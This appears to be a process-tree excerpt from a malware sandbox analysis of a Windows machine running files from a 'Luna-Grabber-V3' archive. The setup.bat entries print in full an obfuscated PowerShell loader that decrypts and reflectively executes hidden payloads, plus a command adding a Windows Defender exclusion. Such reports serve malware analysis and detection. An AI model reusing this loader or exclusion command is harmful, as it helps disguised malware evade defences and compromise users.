  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=3168,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4072 /prefetch:8
  2⤵
  PID:2244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --no-appcompat-clear --field-trial-handle=4676,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3328 /prefetch:8
  2⤵
  PID:1600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4588,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5800 /prefetch:8
  2⤵
  PID:2612
- C:\Users\Admin\Downloads\python-3.13.2-amd64.exe
  "C:\Users\Admin\Downloads\python-3.13.2-amd64.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5620
- - C:\Windows\Temp\{FB36F2A0-9AA9-47FC-B110-7E73797383BE}\.cr\python-3.13.2-amd64.exe
    "C:\Windows\Temp\{FB36F2A0-9AA9-47FC-B110-7E73797383BE}\.cr\python-3.13.2-amd64.exe" -burn.clean.room="C:\Users\Admin\Downloads\python-3.13.2-amd64.exe" -burn.filehandle.attached=588 -burn.filehandle.self=732
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:3624
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=5244,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4048 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=5816,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5840 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5968,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5980 /prefetch:8
  2⤵
  PID:3152
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5976,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6100 /prefetch:8
  2⤵
  PID:5656
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --field-trial-handle=5656,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6076 /prefetch:1
  2⤵
  PID:5796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=5612,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6120 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --field-trial-handle=5792,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4076 /prefetch:1
  2⤵
  PID:3264
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --field-trial-handle=5640,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5732 /prefetch:1
  2⤵
  PID:612
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4868,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6260 /prefetch:8
  2⤵
  PID:5352
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --field-trial-handle=6248,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6264 /prefetch:1
  2⤵
  PID:4504
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --field-trial-handle=6224,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6000 /prefetch:1
  2⤵
  PID:5616
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5424,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6316 /prefetch:8
  2⤵
  PID:5632
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6492,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6480 /prefetch:8
  2⤵
  PID:5620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --field-trial-handle=6284,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6364 /prefetch:1
  2⤵
  PID:4864
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --field-trial-handle=5664,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6484 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3384,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6048 /prefetch:8
  2⤵
  PID:2144
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --field-trial-handle=6016,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6752 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --field-trial-handle=6076,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5628 /prefetch:1
  2⤵
  PID:5900
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6476,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6860 /prefetch:8
  2⤵
  PID:4764
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6888,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6844 /prefetch:8
  2⤵
  PID:4360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --field-trial-handle=3564,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6108 /prefetch:1
  2⤵
  PID:4584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --field-trial-handle=6760,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5088 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --field-trial-handle=4752,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6768 /prefetch:1
  2⤵
  PID:4716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --field-trial-handle=6060,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6844 /prefetch:1
  2⤵
  PID:4004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7244,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7232 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:4944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6996,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7228 /prefetch:8
  2⤵
  PID:4860
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --field-trial-handle=6616,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6380 /prefetch:1
  2⤵
  PID:728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6256,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6644 /prefetch:8
  2⤵
  PID:5768
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --field-trial-handle=7576,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7028 /prefetch:1
  2⤵
  PID:464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6744,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6592 /prefetch:8
  2⤵
  PID:2028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --field-trial-handle=6992,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6964 /prefetch:1
  2⤵
  PID:3688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --field-trial-handle=6212,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6496 /prefetch:1
  2⤵
  PID:4496
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5588,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7064 /prefetch:8
  2⤵
  PID:628
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5476,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=6552 /prefetch:8
  2⤵
  PID:400
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --field-trial-handle=7764,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4908 /prefetch:1
  2⤵
  PID:6048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=7924,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=7808 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:2884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=6516,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4460 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:1240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --field-trial-handle=8004,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=8016 /prefetch:2
  2⤵
  PID:6020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --field-trial-handle=5876,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5936 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=8156,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5948 /prefetch:8
  2⤵
  PID:5304

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4416 -ip 4416
1⤵
PID:4924

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2912

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:668
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F794C3E87AC10A4430AEFEB09A5B0386
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:6128
- - C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe" -I -m ensurepip -U --default-pip
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5324
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe -I -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpz2yrvxej\\pip-24.3.1-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpz2yrvxej', '--upgrade', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:712

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat" "
1⤵
PID:3248
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:1520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:5396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8I1hTiXQxSbILqNOs5ldQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SgtCw=New-Object System.IO.MemoryStream(,$param_var); $AJtSO=New-Object System.IO.MemoryStream; $lunMv=New-Object System.IO.Compression.GZipStream($SgtCw, [IO.Compression.CompressionMode]::Decompress); $lunMv.CopyTo($AJtSO); $lunMv.Dispose(); $SgtCw.Dispose(); $AJtSO.Dispose(); $AJtSO.ToArray();}function execute_function($param_var,$param2_var){ $cbihh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qMawP=$cbihh.EntryPoint; $qMawP.Invoke($null, $param2_var);}$Fuaqw = 'C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat';$host.UI.RawUI.WindowTitle = $Fuaqw;$gItfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Fuaqw).Split([Environment]::NewLine);foreach ($ZTWyH in $gItfV) { if ($ZTWyH.StartsWith(':: ')) { $Tracn=$ZTWyH.Substring(3); break; }}$payloads_var=[string[]]$Tracn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4668
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C powershell Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData'
    3⤵
    PID:3412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2036

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\py.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\luna.py"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3488
- C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python313\python.exe "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\luna.py"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat" "
1⤵
PID:4456
- C:\Windows\system32\net.exe
  net file
  2⤵
  PID:1464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:5316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('i4vSoXCEtQ37PNNOx8z5sO/wltKpK2oVbiHWrLx6E6s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8I1hTiXQxSbILqNOs5ldQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SgtCw=New-Object System.IO.MemoryStream(,$param_var); $AJtSO=New-Object System.IO.MemoryStream; $lunMv=New-Object System.IO.Compression.GZipStream($SgtCw, [IO.Compression.CompressionMode]::Decompress); $lunMv.CopyTo($AJtSO); $lunMv.Dispose(); $SgtCw.Dispose(); $AJtSO.Dispose(); $AJtSO.ToArray();}function execute_function($param_var,$param2_var){ $cbihh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qMawP=$cbihh.EntryPoint; $qMawP.Invoke($null, $param2_var);}$Fuaqw = 'C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\setup.bat';$host.UI.RawUI.WindowTitle = $Fuaqw;$gItfV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Fuaqw).Split([Environment]::NewLine);foreach ($ZTWyH in $gItfV) { if ($ZTWyH.StartsWith(':: ')) { $Tracn=$ZTWyH.Substring(3); break; }}$payloads_var=[string[]]$Tracn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C powershell Add-MpPreference -ExclusionPath 'C:\Users\%USERNAME%\AppData'
    3⤵
    PID:3956
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:6012
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ewq.bat"
    3⤵
    PID:2464

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\requirements.txt
1⤵
PID:1976

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\pyw.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\pyw.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\builder.pyw"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5992
- C:\Users\Admin\AppData\Local\Programs\Python\Python313\pythonw.exe
  C:\Users\Admin\AppData\Local\Programs\Python\Python313\pythonw.exe "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\builder.pyw"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1904

C:\Users\Admin\AppData\Local\Programs\Python\Launcher\pyw.exe
"C:\Users\Admin\AppData\Local\Programs\Python\Launcher\pyw.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Luna-Grabber-V3-main.zip\Luna-Grabber-V3-main\builder.pyw"
1⤵
- Executes dropped EXE
